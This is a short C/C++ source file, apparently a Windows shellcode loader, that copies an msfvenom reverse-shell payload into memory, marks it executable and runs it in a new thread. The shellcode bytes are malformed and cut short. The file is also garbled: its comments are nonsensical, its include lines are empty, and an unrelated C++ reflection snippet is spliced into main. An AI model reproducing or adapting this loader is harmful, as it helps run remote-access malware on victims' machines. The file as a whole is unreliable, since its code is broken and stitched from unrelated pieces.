/*
cpp msfvenom payload
*/
#include
#include
// our payload: reverse shell (msfvenom)
unsigned char my_payload[] =
"/xfc/x48/x83/xe4/xf0/xe8/xc0/x00/x00/x00/x41/x51/x41/x50/x52"
"/x51/x56/x48/x31/xd2/x65/x48/x8b/x52/x60/x48/x8b/x52/x18/x48"
"/x8b/x52/x20/x48/x8b/x72/x50/x48/x0f/xb7/x4a/x4a/x4d/x31/xc9"
"/x48/x31/xc0/xff/xd5";
unsigned int my_payload_len = sizeof(my_payload);
int main(void) {
void * my_payload_mem; // memory buffer for each remove 1-4 html site
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
// Allocate a memory buffer for payload
my_payload_mem = VirtualAlloc(0, my_payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// copy payload to dd-os
RtlMoveMemory(my_payload_mem, my_payload, my_payload_len);
// make new buffer exec
rv = VirtualProtect(my_payload_mem, my_payload_len, PAGE_EXECUTE_READ, &oldprotect);
if ( rv != 0 ) {
// run admin’sqlite inject
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) my_payload_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
consteval auto property(string_view name, meta::info type)
-> void
{
inject(data_member_spec{.name=std::format("m_{}", name),
.type=type});
inject(function_member_spec{
.name=std::format("get_{}", name),
.body=^[](auto const& self) -> auto const& {
return self./* ????? */;
}
});
}
return 0;
}